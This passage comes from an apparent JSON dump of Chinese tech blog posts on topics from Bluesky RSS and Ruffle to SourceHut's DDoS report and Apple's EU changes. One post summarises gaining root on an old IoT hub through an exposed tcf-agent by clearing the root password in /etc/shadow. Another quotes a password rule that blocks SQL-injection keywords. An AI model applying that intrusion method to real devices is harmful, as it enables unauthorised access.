compression.</blockquote>\r\n\r\n我試著驗證作者的想法，用 <a href=\"https://go.dev/\">Go</a> 寫了個小程式輸出操作圖片，產稱一張寬度是小說的 byte 數，高度只有 1 的 PNG 檔輸出，最後再用 <a href=\"https://en.wikipedia.org/wiki/Pngcrush\">pngcrush</a> 處理：「<a href=\"https://github.com/gslin/text-to-image-compression\">gslin/text-to-image-compression</a>」。\r\n\r\n另外我是與 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 比較 (原作者是與 ZIP 比較)，結果是：\r\n\r\n<pre>PNG: 64379\r\nGzip: 64563\r\nGzip (-9): 64331</pre>\r\n\r\n的確是差不多的等級？",
    "title": "把文字檔壓成 PNG 跟 Gzip 比較壓縮率"
  },
  {
    "id": "11597",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39007756\">Bluesky has launched RSS feeds (openrss.org)</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/Bluesky_(social_network)\">Bluesky</a> 支援 <a href=\"https://en.wikipedia.org/wiki/RSS_2.0\">RSS 2.0</a> 的消息：「<a href=\"https://openrss.org/blog/bluesky-has-launched-rss-feeds\">Bluesky has launched RSS feeds</a>」。\r\n\r\n以作者提到的例子來說，<a href=\"https://en.wikipedia.org/wiki/Jay_Graber\">Jay Graber</a> 的頁面上 (在「<a href=\"https://bsky.app/profile/jay.bsky.team\">@jay.bsky.team on Bluesky</a>」這邊) 有 auto-discovery link：\r\n\r\n<pre>&lt;link rel=\"alternate\" type=\"application/rss+xml\" href=\"https://bsky.app/profile/did:plc:oky5czdrnfjpqslsw2a5iclo/rss\"&gt;</pre>\r\n\r\n選擇 RSS 2.0 而不是 <a href=\"https://en.wikipedia.org/wiki/Atom_(web_standard)\">Atom</a>，不知道是什麼原因...\r\n\r\n有了 feed 以後現有的 RSS reader 都可以直接訂起來了，像是在 <a href=\"https://slack.com/\">Slack</a> 上可以用 <code>/feed add [url]</code> 訂閱。",
    "title": "Bluesky 支援 RSS 2.0"
  },
  {
    "id": "11598",
    "body": "<a href=\"https://ruffle.rs/\">ruffle</a> 是一個 open source 的 <a href=\"https://en.wikipedia.org/wiki/Adobe_Flash\">Flash</a> 模擬器，用 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> (以及 <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a>) 讓使用者可以在瀏覽器裡面直接執行。\r\n\r\n不過想到 Flash 的 <code>crossdomain.xml</code> 在技術上應該是沒辦法繞過瀏覽器對 <a href=\"https://en.wikipedia.org/wiki/Cross-origin_resource_sharing\">CORS</a> 的限制，所以找了一下目前的情況... 在「<a href=\"https://github.com/ruffle-rs/ruffle/discussions/8972\">Ideas for getting arounds CORS restrictions #8972</a>」這邊有提到兩個方法，另外 comment 提到了「<a href=\"https://github.com/ruffle-rs/ruffle/issues/1486\">Add setting to spoof URLs in network requests #1486</a>」這個。\r\n\r\n看起來這個問題還在「有點子，但沒解決」的情況。\r\n\r\n不過找了一下當年有玩的小遊戲 Zookeeper，在「<a href=\"https://flasharch.com/en/archive/play/f5fc0a77f2a934ca469a4d0e33bdfd94\">Zookeeper - Flash Games Archive | FlashArch</a>」這邊可以玩，看起來功能都還算正常，讓人懷念啊...",
    "title": "Ruffle 對 crossdomain.xml 的處理方式"
  },
  {
    "id": "11599",
    "body": "剛好上一篇才在講 <a href=\"https://ruffle.rs/\">Ruffle</a>，結果看到「<a href=\"https://flowingdata.com/2024/01/10/nyt-flash-based-visualizations-work-again/\">New York Times Flash-based visualizations work again (flowingdata.com)</a>」這邊的討論才發現<a href=\"https://www.nytimes.com/\">紐約時報</a>也開始用 Ruffle 呈現早期的報導裡面的 <a href=\"https://en.wikipedia.org/wiki/Adobe_Flash\">Flash</a> 圖表了：「<a href=\"https://flowingdata.com/2024/01/10/nyt-flash-based-visualizations-work-again/\">NYT Flash-based visualizations work again</a>」，這篇文章裡面則是引用了「<a href=\"https://eagereyes.org/blog/2024/nytimes-web-flash-player\">The New York Times now has a web Flash player</a>」。\r\n\r\n文章裡面給了好幾個範例頁面，像是「<a href=\"https://archive.nytimes.com/www.nytimes.com/interactive/2008/02/23/movies/20080223_REVENUE_GRAPHIC.html\">The Ebb and Flow of Movies: Box Office Receipts 1986 — 2008</a>」這個，我用桌機開起來的時候 CPU 也是狂操了一陣子才跑出來，而且操作起來有點卡，但至少有東西繩線出來可以用...",
    "title": "紐約時報早期的 Flash 圖表使用 Ruffle 執行"
  },
  {
    "id": "11601",
    "body": "<strong>Update</strong>：這篇內容是錯的 (感謝 yan12125)，參考「<a href=\"https://blog.gslin.org/archives/2024/01/22/11604/lsas-%e8%88%87-application-password-%e4%b8%8d%e5%90%8c/\">LSAs 與 application password 不同...</a>」這篇的說明。\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到這個舊資料，<a href=\"https://www.google.com/\">Google</a> 在去年九月的公告，將在 2024/09/30 停止支援 application password 的認證方式：「<a href=\"https://workspaceupdates.googleblog.com/2023/09/winding-down-google-sync-and-less-secure-apps-support.html\">Beginning September 30, 2024: third-party apps that use only a password to access Google Accounts and Google Sync will no longer be supported</a>」。\r\n\r\nGoogle 讓不支援 <a href=\"https://en.wikipedia.org/wiki/OAuth\">OAuth</a> 的程式可以用傳統的 username + password 的方式連線，產生一組 application password 讓這些程式使用，這個在 Google 的系統裡被稱作是 Less Secure Apps (LSAs)，主要是 protocol-based 的方式：\r\n\r\n<blockquote>This includes all third-party apps that require password-only access to Gmail, Google Calendar, Contacts via protocols such as CalDAV, CardDAV, IMAP, SMTP, and POP.</blockquote>\r\n\r\n主要的安全性考量應該是在 application password 貼到對應的應用程式這段，會隨著不同的貼法而有資安疑慮。透過非 end-to-end encryption 的 IM 傳輸，那麼 IM 的系統裡面就會有這組 application password 了。\r\n\r\n這個計畫在 2019 年宣佈的：「<a href=\"https://workspaceupdates.googleblog.com/2019/12/less-secure-apps-oauth-google-username-password-incorrect.html\">Turning off less secure app access to G Suite accounts</a>」，當時規劃在 2021 年就要執行，不過中間因為 <a href=\"https://en.wikipedia.org/wiki/COVID-19\">COVID-19</a> 的關係往後延，現在的目標是 2024 年，看起來是差不多了...",
    "title": "使用 application password 的 Google 服務將在 2024/09/30 停止支援"
  },
  {
    "id": "11603",
    "body": "昨天的「<a href=\"https://news.ycombinator.com/item?id=39063242\">What's that touchscreen in my room? (laplab.me)</a>」這篇頗有趣的，原文「<a href=\"https://laplab.me/posts/whats-that-touchscreen-in-my-room/\">What's that touchscreen in my room?</a>」是在租屋處看到牆上有一片平板，研究這到底是什麼的文章：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705862241-48cff505.webp\" /><img src=\"https://i.gslin.com/s/1705862241-48cff505.png\" alt=\"\" /></picture>\r\n\r\n作者在一包文件裡找到手冊以後 (應該是屋主當初直接拿給他的一包文件？)，知道這是 <a href=\"https://www.linkedin.com/company/netthings/\">NetThings</a> 的設備 (看起來已經是歷史了，這邊留個 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 上的連結...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705862369-48576468.webp\" /><img src=\"https://i.gslin.com/s/1705862369-48576468.png\" alt=\"\" /></picture>\r\n\r\n然後連了半天發現連不上，到公共區域發現他還有一台主機要打開，但因為沒有保險絲，所以沒通電：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705862658-6c9ace7d.webp\" /><img src=\"https://i.gslin.com/s/1705862658-6c9ace7d.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705862694-b6ff4313.webp\" /><img src=\"https://i.gslin.com/s/1705862694-b6ff4313.png\" alt=\"\" /></picture>\r\n\r\n在裝了保險絲開機之後就是黑這台機器的過程...？\r\n\r\n在各種嘗試中得知，port scan 過程發現有 tcf-agent 可以直接對檔案系統操作，首先是試著撈出 <code>root</code> 加密過的密碼來 <a href=\"https://en.wikipedia.org/wiki/John_the_Ripper\">john</a> 但不順利，後來是發現可以修改 <code>/etc/shadow</code> 把 <code>root</code> 密碼清空，並且修改 <code>/etc/ssh/sshd_config</code>，就順利連上了這台機器...\r\n\r\n這是一台 <a href=\"https://en.wikipedia.org/wiki/ARM9\">ARM9</a> 的機器，有大約 118MB 的記憶體，而且 CPU 可以直接跑 Java bytecode (<a href=\"https://en.wikipedia.org/wiki/Jazelle\">Jazelle</a>)。\r\n\r\n另外這台平板是 <a href=\"https://en.wikipedia.org/wiki/Android_Lollipop\">Android 5</a> 的系統，透過 webview 從主機上拉狀態出來。\r\n\r\n然後裡面有不少 (以現在來看) 古董：\r\n\r\n<blockquote>Along with the Pulse app, there is the second part of the application. A Node.js app reads CSV files populated with energy usage data and displays them to the user in the web UI. It uses Node.js 0.10.26, Express.js 4.13.3 and Socket.io 1.3.6.</blockquote>\r\n\r\n是個 2014/2015 年左右的產品...",
    "title": "2014/2015 年的 Smart Home & IoT 裝置？"
  },
  {
    "id": "11604",
    "body": "前天在「<a href=\"https://blog.gslin.org/archives/2024/01/20/11601/%e4%bd%bf%e7%94%a8-application-password-%e7%9a%84-google-%e6%9c%8d%e5%8b%99%e5%b0%87%e5%9c%a8-2024-09-30-%e5%81%9c%e6%ad%a2%e6%94%af%e6%8f%b4/\">使用 application password 的 Google 服務將在 2024/09/30 停止支援</a>」這邊寫完後，yan12125 在文章留言的地方提到：\r\n\r\n<blockquote>看起來這次只有停止支援 Less Secure Apps, application password 還是可以用的。公告中提到：\r\n\r\n&gt; If the app you are using does not support OAuth, you will need to switch to an app that offers OAuth or create an app password to access these apps.</blockquote>\r\n\r\n回頭去翻了一下 LSA 是什麼 (出自「<a href=\"https://workspaceupdates.googleblog.com/2019/07/limit-access-LSA.html\">Limiting access to less secure apps to protect G Suite accounts</a>」這篇)：\r\n\r\n<blockquote>A less secure app (LSA) is an app that connects to Google accounts using only username and password verification for access and not OAuth. Generally, you should only allow your users to use external apps that connect to Google accounts via OAuth, as LSAs make user accounts more vulnerable to hijacking.</blockquote>\r\n\r\n看起來這邊指的是用原始的 <a href=\"https://www.google.com/\">Google</a> 帳號與密碼登入，我一直以為這個方式早就被拔掉了，所以這次的公告以為是拔掉 application password，但看起來不是這樣。",
    "title": "LSAs 與 application password 不同..."
  },
  {
    "id": "11606",
    "body": "<a href=\"https://sourcehut.org/\">SourceHut</a> 在 DDoS 後發表了報告：「<a href=\"https://sourcehut.org/blog/2024-01-19-outage-post-mortem/\">SourceHut network outage post-mortem</a>」。\r\n\r\n這次的攻擊在 L3 層，直接塞爆 upstream bandwidth：\r\n\r\n<blockquote>At around 06:00 UTC on January 10th, a layer 3 distributed denial-of-service (DDoS) attack began to target SourceHut’s PHL infrastructure.</blockquote>\r\n\r\n上游 <a href=\"https://www.cogentco.com/\">Cogent</a> 選擇 null route 掉：\r\n\r\n<blockquote>In response to the attack, Cogent announced null routes for our downstream AS, causing our PHL network to become unreachable both for SourceHut staff and the general public.</blockquote>\r\n\r\n中間有試著問 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 以及其他的方案，但依照他們的說法，費用上無法承受：\r\n\r\n<blockquote>We initially researched a number of solutions, and spoke to Cloudflare in particular due to their ability to provide a rapid response to ongoing incidents. However, given our complex requirements, Cloudflare quoted us a figure which was not attainable within our financial means as a small company. Other options we researched (though we did not seek additional quotes) had similar economical constraints.</blockquote>\r\n\r\n後來的解法是在 <a href=\"https://www.ovhcloud.com/\">OVH</a> 放 proxy server (搭配 OVH 的 DDoS 保護服務)，然後導到沒有公開的 subnet：\r\n\r\n<blockquote>However, we found that OVH’s anti-DDoS protections were likely suitable: they are effective, and their cost is amortized across all OVH users, and therefore of marginal cost to us. To this end the network solution we deployed involved setting up an OVH box to NAT traffic through OVH’s DDoS-resistant network and direct it to our (secret) production subnet in AMS; this met our needs for end-to-end encryption as well as service over arbitrary TCP protocols.</blockquote>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 在還沒被 <a href=\"https://www.microsoft.com/\">Microsoft</a> 併購前 (2018 年) 也有被打的記錄，2015 年的時候 <a href=\"https://www.google.com/\">Google</a> 有放一些資料，當年有寫一篇記錄下來：「<a href=\"https://blog.gslin.org/archives/2015/04/26/5772/google-%E5%B0%8D-github-%E5%85%88%E5%89%8D%E9%81%AD%E5%8F%97-gfw-%E7%9A%84-ddos-%E6%94%BB%E6%93%8A%E7%9A%84%E5%88%86%E6%9E%90/\">Google 對 GitHub 先前遭受 GFW 的 DDoS 攻擊的分析</a>」，不過當年這波是 L7 的。\r\n\r\n另外 2016 年的時候 GitHub 也有整理一篇關於 TCP SYN flood 的阻擋方式，這個看起來比較接近這次的攻擊：「<a href=\"https://blog.gslin.org/archives/2016/07/15/6680/github-%E5%B0%8D%E6%8A%97-tcp-syn-flood-%E7%9A%84%E6%96%B9%E5%BC%8F%EF%BC%9Asynsanity/\">GitHub 對抗 TCP SYN Flood 的方式：synsanity</a>」。",
    "title": "SourceHut 被 DDoS 後的報告"
  },
  {
    "id": "11607",
    "body": "這是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=39078372\">Password may not contain: select, insert, update, delete, drop (uni-lj.si)</a>」，原網站在「<a href=\"https://id.uni-lj.si/DigitalnaIdentiteta/PonastavitevGesla?culture=en-GB\">Password reset - ID portal</a>」，熱鬧的地方在於原作者 (或是外包商？) 也在 Hacker News 上面回應...\r\n\r\n禁止密碼裡面有某些字元還蠻常見的，但這次看到的很有趣 (然後被貼到 Hacker News 上)：\r\n\r\n<blockquote>Your password must also not contain the following character combinations: script, select, insert, update, delete, drop, --, ', /*, */.</blockquote>\r\n\r\n從網域及英文版的介面可以查到這是<a href=\"https://zh.wikipedia.org/wiki/%E5%8D%A2%E5%B8%83%E5%B0%94%E9%9B%85%E9%82%A3%E5%A4%A7%E5%AD%A6\">盧比安納大學</a>的系統，作者 (或是外包) 在 <a href=\"https://news.ycombinator.com/item?id=39079030\">id=39079030</a> 提到了這是上面的要求：\r\n\r\n<blockquote>Oooh! I put that string there! It was a request by management, and I still don't know why. This site doesn't store any passwords, it's basically just a nice interface to external account management.\r\n\r\nI heard a rumour that some legacy apps have weird validation on their login fields, so students wouldn't be able to log in with passwords containing certain strings. But I don't actually know of any examples.</blockquote>\r\n\r\n就... 很好玩？",
    "title": "密碼裡面不能有 SELECT/INSERT/UPDATE/DELETE/DROP"
  },
  {
    "id": "11608",
    "body": "先前寫了一堆 <a href=\"https://en.wikipedia.org/wiki/Userscript\">userscript</a> 針對不同的網站加上快速鍵 (像是翻下一頁或是上一頁)：\r\n\r\n<ul>\r\n\t<li><a href=\"https://greasyfork.org/en/scripts/394628-shopee-next-prev-shortcut\">Shopee Next/Prev Shortcut</a></li>\r\n\t<li><a href=\"https://greasyfork.org/en/scripts/414758-shopbop-pageup-pagedown-shortcuts\">Shopbop PageUp/PageDown shortcuts</a></li>\r\n\t<li><a href=\"https://greasyfork.org/en/scripts/419475-add-esc-key-on-google-maps\">Add Esc key on Google Maps</a></li>\r\n\t<li><a href=\"https://greasyfork.org/en/scripts/467619-instagram-next-prev-shortcut\">Instagram Next/Prev Shortcut</a></li>\r\n\t<li><a href=\"https://greasyfork.org/en/scripts/485187-use-keyboard-to-change-pagination\">Use keyboard to change pagination</a></li>\r\n</ul>\r\n\r\n然後發現太多重複的事情了，就寫成 <a href=\"https://www.google.com/chrome/\">Chrome</a> 的 extension 了：「<a href=\"https://chromewebstore.google.com/detail/keyboard-event/henlngcmcjfldedjgiofkgijohenfgad\">Keyboard Event</a>」，程式碼在 <a href=\"https://github.com/\">GitHub</a> 上有放：「<a href=\"https://github.com/gslin/keyboard-event\">gslin/keyboard-event</a>」，不信任一致性的話也可以用 <a href=\"https://chromewebstore.google.com/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin\">Chrome extension source viewer</a> 直接看 <a href=\"https://chromewebstore.google.com/\">chrome web store</a> 上面放的版本。\r\n\r\n這個 extension 的想法是設定 hostname、path 以及按鍵，接著設定按鍵按下後會觸發的 DOM element (用 CSS selector 選) 與 DOM event (像是 <code>mouseover</code> 這樣的 event 字串)。\r\n\r\n而其中 <code>click</code> event 常常不會動 (對應實際的呼叫是 <code>element.dispatchEvent(new Event('click'))</code>)，在 debug 時發現需要用 <code>click()</code> (對應實際的呼叫是 <code>element.click()</code>)，所以有特別接受 <code>click()</code> 這個字串。\r\n\r\n這個舉個例子，我有一組設定是：\r\n\r\n<pre>www.instagram.com\r\n.*\r\n&lt;\r\ndiv[role=\"dialog\"] button[aria-label=\"Go back\"]\r\nclick()\r\n\r\nwww.instagram.com\r\n.*\r\n&gt;\r\ndiv[role=\"dialog\"] button[aria-label=\"Next\"]\r\nclick()</pre>\r\n\r\n在瀏覽器上面看 <a href=\"https://www.instagram.com/\">Instagram</a> 的照片時可以用 <kbd>&lt;</kbd> 與 <kbd>&gt;</kbd> 快速切換照片。\r\n\r\n另外設定的部分支援 <a href=\"https://developer.chrome.com/docs/extensions/reference/api/storage\">chrome.storage</a> 的 browser sync，對於有多瀏覽器時會自動同步設定檔，不用每一台都設定一次...\r\n\r\n這算是第一次寫 Manifest V3 的 extension (先前都是 V2)，本來想用 <a href=\"https://vuejs.org/\">Vue.js</a> 處理設定頁 <code>options.html</code>，但遇到了 <a href=\"https://en.wikipedia.org/wiki/Content_Security_Policy\">CSP</a> 的問題，在 Manifest V3 上面無法設定 <code>unsafe-eval</code>，於是 Vue.js 只能用 runtime 版本，喪失了 template 好用的地方...\r\n\r\n後來決定回頭用 <a href=\"https://jquery.com/\">jQuery</a> + <a href=\"https://jqueryui.com/\">jQuery UI</a> (用 <a href=\"https://api.jqueryui.com/sortable/\">sortable</a>)，然後自己處理一堆 data 更新時頁面的變化，一整個 2010 年老人味都出來了...\r\n\r\n但這樣至少會動，先跑一陣子看看...",
    "title": "Keyboard Event：在網頁上自定義快速鍵"
  },
  {
    "id": "11609",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=39097314\">Czech republic sets IPv4 end date (konecipv4.cz)</a>」這篇，捷克政府公告了政府網站將在 2032/06/06 停用 IPv4 服務：「<a href=\"https://konecipv4.cz/en/\">Czech republic sets IPv4 end date</a>」。\r\n\r\n<blockquote>On 17 January 2024, the Government of the Czech Republic approved the material \"Restarting the implementation of DNSSEC and IPv6 technologies in the state administration\". On the basis of this decision, the Czech state administration will stop providing its services over IPv4 on 6 June 2032. Thus, the Czech Republic knows its IPv4 shutdown date.</blockquote>\r\n\r\n剛好昨天在試著將手上 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 拔掉 IPv4 address (因為 2024/02/01 開始收費，參考先前寫的「<a href=\"https://blog.gslin.org/archives/2023/07/30/11274/aws-%E5%B0%87%E9%96%8B%E5%A7%8B%E6%94%B6%E5%8F%96-ipv4-%E7%9A%84-public-ip-%E8%B2%BB%E7%94%A8/\">AWS 將開始收取 IPv4 的 Public IP 費用</a>」)，結果還是遇到相依服務還沒有上 IPv6 endpoint 的問題，如果要轉移的話得開 <a href=\"https://en.wikipedia.org/wiki/DNS64\">DNS64</a> 與 <a href=\"https://en.wikipedia.org/wiki/NAT64\">NAT64</a>，但因為目前就只有兩台小機器在 AWS 上，在上面租 NAT64 或是自己架 NAT64 的費用反而比付 IPv4 address 的費用還貴，就先暫時丟著了。\r\n\r\n我這邊遇到的問題是 <code>api.slack.com</code> 目前只有 IPv4 address，這邊因為是走 HTTPS，也許可以靠其他在有 IPv6 address 的 VPS 上的 proxy server 解決 (我剛好有租一些 VPS instance)，這幾天再來看看怎麼弄...",
    "title": "捷克政府宣布 2032/06/06 政府網站將停用 IPv4 服務"
  },
  {
    "id": "11612",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=39121183\">Sqlite3 Utility in the Browser (sqlite.org)</a>」這個，看了一下是官方提供的 playground：「<a href=\"https://sqlite.org/fiddle/index.html\">SQLite3 Fiddle</a>」。\r\n\r\n從 <a href=\"https://sqlite.org/fiddle/fiddle.js\">https://sqlite.org/fiddle/fiddle.js</a> 這邊可以看到 2022 年就有的東西，在 <a href=\"https://web.archive.org/\">Internet Archive</a> 上也可以看到也是差不多時間被記錄下來的：「<a href=\"https://web.archive.org/web/20240000000000*/https://sqlite.org/fiddle/index.html\">Saved 21 times between August 12, 2022 and January 24, 2024.</a>」。\r\n\r\n看起來是用 <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a> 包起來的，不過如果是自己的機器，本機跑 <code>sqlite3</code> 好像會方便一些...",
    "title": "SQLite 官方提供的網頁版 playground"
  },
  {
    "id": "11613",
    "body": "看到 <a href=\"https://kagi.com/\">Kagi</a> 公佈了訂閱數量破兩萬的新聞：「<a href=\"https://blog.kagi.com/celebrating-20k\">Celebrating our first 20,000 members</a>」，翻了一下先前的文章，九月的時候才接近 9k：「<a href=\"https://blog.gslin.org/archives/2023/09/22/11367/kagi-%e5%8f%88%e6%81%a2%e5%be%a9-10-mo-%e7%9a%84-unlimited-search-plan-%e4%ba%86/\">Kagi 又恢復 $10/mo 的 Unlimited Search Plan 了</a>」。\r\n\r\n目前的目標看起來是訂在 50k (至少圖表上面的是 50k)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706163636-3ca856c7.webp\" /><img src=\"https://i.gslin.com/s/1706163636-3ca856c7.png\" alt=\"\" /></picture>\r\n\r\n從 <a href=\"https://web.archive.org/\">Internet Archive</a> 上面查，可以看到九月到十月那波是漲最多的，差不多 22%：(出自 <a href=\"https://web.archive.org/web/20231011042040/https://kagi.com/stats\">https://web.archive.org/web/20231011042040/https://kagi.com/stats</a> 這邊)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706163845-7039ab25.webp\" /><img src=\"https://i.gslin.com/s/1706163845-7039ab25.png\" alt=\"\" /></picture>\r\n\r\n依照 2022 年當時在「<a href=\"https://blog.kagi.com/status-update-first-three-months\">Kagi status update: First three months</a>」這篇的說法，要 25k users 才能打平所有的開銷，雖然後來產品線改變蠻多的，但 25k 應該還是會算個重要的 milestone？\r\n\r\n<blockquote>We are planning to reach sustainability at around 25,000 users mark, by further improving the product, introducing new offerings and pricing changes. With the product metrics being as good as they are, we should be able to reach this as our visibility increases.</blockquote>\r\n\r\n現在看起來應該再給幾個月就會達到了，看起來會證明這塊小眾市場還是能做的？",
    "title": "Kagi 訂閱數量過兩萬"
  },
  {
    "id": "11617",
    "body": "昨天科技圈最熱門的消息應該是 <a href=\"https://www.apple.com/\">Apple</a> 公開了在歐盟區開放 <a href=\"https://en.wikipedia.org/wiki/App_Store_(Apple)\">App Store</a> 限制的計畫：「<a href=\"https://www.apple.com/newsroom/2024/01/apple-announces-changes-to-ios-safari-and-the-app-store-in-the-european-union/\">Apple announces changes to iOS, Safari, and the App Store in the European Union</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也很熱鬧，也提出了很多蘋果想盡辦法讓你不要換過去所設定的障礙：「<a href=\"https://news.ycombinator.com/item?id=39132453\">Apple announces changes to iOS, Safari, and the App Store in the European Union (apple.com)</a>」。\r\n\r\n從文章可以看出 Apple 不斷的用 <a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt\">FUD</a> 在擋，而且從文章裡面就可以看出來 Apple 極度不情願開放這塊肥肉。\r\n\r\n除了文章的不情願態度外，Apple 也試著要建立各種機制讓 developer 無法轉移，其中目前最毒的是 Core Technology Fee 的設計，即使 app 後續會透過第三方的 app marketplace 下載，你仍然要付給 Apple 一筆很貴的費用：\r\n\r\n<blockquote>Core Technology Fee — iOS apps distributed from the App Store and/or an alternative app marketplace will pay €0.50 for each first annual install per year over a 1 million threshold.</blockquote>\r\n\r\n不確定現有的 DMA 是否有阻止的能力，但這個是目前已經看到的重點項目，歐盟應該會有動作...\r\n\r\n另外看一些群組討論，Apple 很不願意放 App Store 出來，看起來這個功能是被鎖到 countryd 層級的，無法單純註冊歐盟 App Store 的帳號就能安裝。\r\n\r\n反正先坐著等一兩個月看新聞消化...",
    "title": "Apple 在歐盟 DMA 的法規下被強制開放 App Store 與各種限制"
  },
  {
    "id": "11621",
    "body": "意外看到「<a href=\"https://news.ycombinator.com/item?id=39152306\">Proposed top-level domain string for private use: \".internal\" (icann.org)</a>」這篇，發現 <code>.internal</code> 還沒被 <a href=\"https://www.icann.org/\">ICANN</a> 列入 reserved top-level domain？原文在 ICANN 的網站上：「<a href=\"https://www.icann.org/en/public-comment/proceeding/proposed-top-level-domain-string-for-private-use-24-01-2024\">Proposed Top-Level Domain String for Private Use</a>」。\r\n\r\n這邊有兩個不同的權力組織 (團體)，一邊是掌握著 <a href=\"https://en.wikipedia.org/wiki/Root_name_server\">root name server</a> 規範的非營利組織 ICANN，不過 ICANN 也決定了有哪些 top-level domain 可以賣...；另外一邊是社群與 <a href=\"https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force\">IETF</a> 在寫下各種建議與制定標準。\r\n\r\n現在看起來是在 <a href=\"https://www.rfc-editor.org/rfc/rfc6762\">RFC 6762</a> (Multicast DNS) 這邊講 Multicast DNS 的地方，意外的在附錄的提到了 <code>.internal</code> 這組 domain：\r\n\r\n<blockquote>We do not recommend use of unregistered top-level domains at all, but should network operators decide to do this, the following top-level domains have been used on private internal networks without the problems caused by trying to reuse \".local.\" for this purpose:</blockquote>\r\n\r\n然後列出了六個 domain：\r\n\r\n<pre>      .intranet.\r\n      .internal.\r\n      .private.\r\n      .corp.\r\n      .home.\r\n      .lan.</pre>\r\n\r\n看起來也不是說這六組要被保留，比較像是講個現象？現在 <code>.internal</code> 要被放進去算是補一些決議？真的有公司想要申請這六組任何一個應該都不會過...",
    "title": ".internal 被提案要列入 Reserved Top-Level Domain"
  },
  {
    "id": "11622",
    "body": "新酷音的 <a href=\"https://github.com/chewing/libchewing\">libchewing</a> 專案釋出了 0.6.0，上次的 release 的 0.5.1 是 2016 年了：「<a href=\"https://github.com/chewing/libchewing/releases/tag/v0.6.0\">Release v0.6.0 · chewing/libchewing</a>」。\r\n\r\n<blockquote>This release contains many improvements and bug fixes. It's the first release since 2016. We have started a major rewrite in Rust so we expect to have more frequent releases in the following months.</blockquote>\r\n\r\n從 <a href=\"https://github.com/chewing/libchewing/graphs/contributors\">Contributors to chewing/libchewing</a> 這邊可以看到近期主要是 <a href=\"https://github.com/kanru\">kanru</a> 的貢獻，然後就如同上面引用的 release note 中提到的，目前朝著 <a href=\"https://www.rust-lang.org/\">Rust</a> 這邊開始走。\r\n\r\n另外一個比較大的改變 (build stage 的) 是把本來用 <a href=\"https://en.wikipedia.org/wiki/GNU_Autotools\">autotools</a> 的部分換成 <a href=\"https://en.wikipedia.org/wiki/CMake\">cmake</a> 了：\r\n\r\n<blockquote>Add several CMake presets for supported configurations [Kan-ru Chen]. #424</blockquote>\r\n\r\n<blockquote>CMake minimum version changed to 3.21.0</blockquote>\r\n\r\n<blockquote>Autotools build tools are removed. CMake is the recommended way to build libchewing.</blockquote>\r\n\r\n整體看起來，這版看起來主要是把這七年多的各種 bugfix 整理起來出一個 release 了，讓各 repository 可以更新一波？",
    "title": "libchewing 更新，0.6.0 釋出"
  },
  {
    "id": "11623",
    "body": "從 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://jacobfilipp.com/arvid-vhs/\">ArVid: how Russians squeezed 4 hard drives into one VHS tape in the 90s</a>」這篇，在 1990 年代俄羅斯人發明了用 <a href=\"https://en.wikipedia.org/wiki/VHS\">VHS</a> 帶 (錄影帶) 備份數位資料的方式，這個套件叫做 <a href=\"https://en.wikipedia.org/wiki/ArVid\">ArVid</a>。\r\n\r\n方法是利用家裡已經有的 VHS 機 (錄影機)，然後在 <a href=\"https://en.wikipedia.org/wiki/I386\">386</a> 的電腦上接一張 <a href=\"https://en.wikipedia.org/wiki/Industry_Standard_Architecture\">ISA</a> 介面的卡 (對比現在的電腦環境就是 <a href=\"https://en.wikipedia.org/wiki/PCI_Express\">PCI-e</a> 介面卡)，然後把 ISA 卡接到 VHS 機的 Video In (負責備份資料) 與 Video Out (負責取回資料)，另外 ISA 卡還有一個紅外線 LED 發射的模組線可以接到 (貼到) VHS 機器的接收處，這樣可以讓 ISA 卡透過「遙控器」的協定控制 VHS 播放器。\r\n\r\n這個點子用的媒介其實類似於磁帶機，只是 ArVid 為了使用現成的 VHS 機，多了一個轉換成影像的步驟。\r\n\r\n這邊 ArVid 加上了 <a href=\"https://en.wikipedia.org/wiki/Hamming_code\">Hamming code</a>，提供之後讀取時，發現錯誤以及修正的能力。\r\n\r\n三個小時的 VHS 帶可以存 2GB 的資料，這個空間大小的感覺拉一下「<a href=\"https://en.wikipedia.org/wiki/History_of_hard_disk_drives\">History of hard disk drives</a>」這頁的資訊，可以感覺一下 1990 年代前期時這樣的東西大概是什麼感覺：\r\n\r\n<blockquote>1990 – IBM 0681 \"Redwing\" – 857 megabytes, twelve 5.25-inch disks. First HDD with PRML Technology (Digital Read Channel with 'partial-response maximum-likelihood' algorithm).</blockquote>\r\n\r\n<blockquote>1991 – Areal Technology MD-2060 – 60 megabytes, one 2.5-inch disk platter. First commercial hard drive with platters made from glass.</blockquote>\r\n\r\n<blockquote>1991 – IBM 0663 \"Corsair\" – 1,004 megabytes, eight 3.5-inch disks; first HDD using magnetoresistive heads</blockquote>\r\n\r\n<blockquote>1991 – Intégral Peripherals 1820 \"Mustang\" – 21.4 megabytes, one 1.8-inch disk, first 1.8-inch 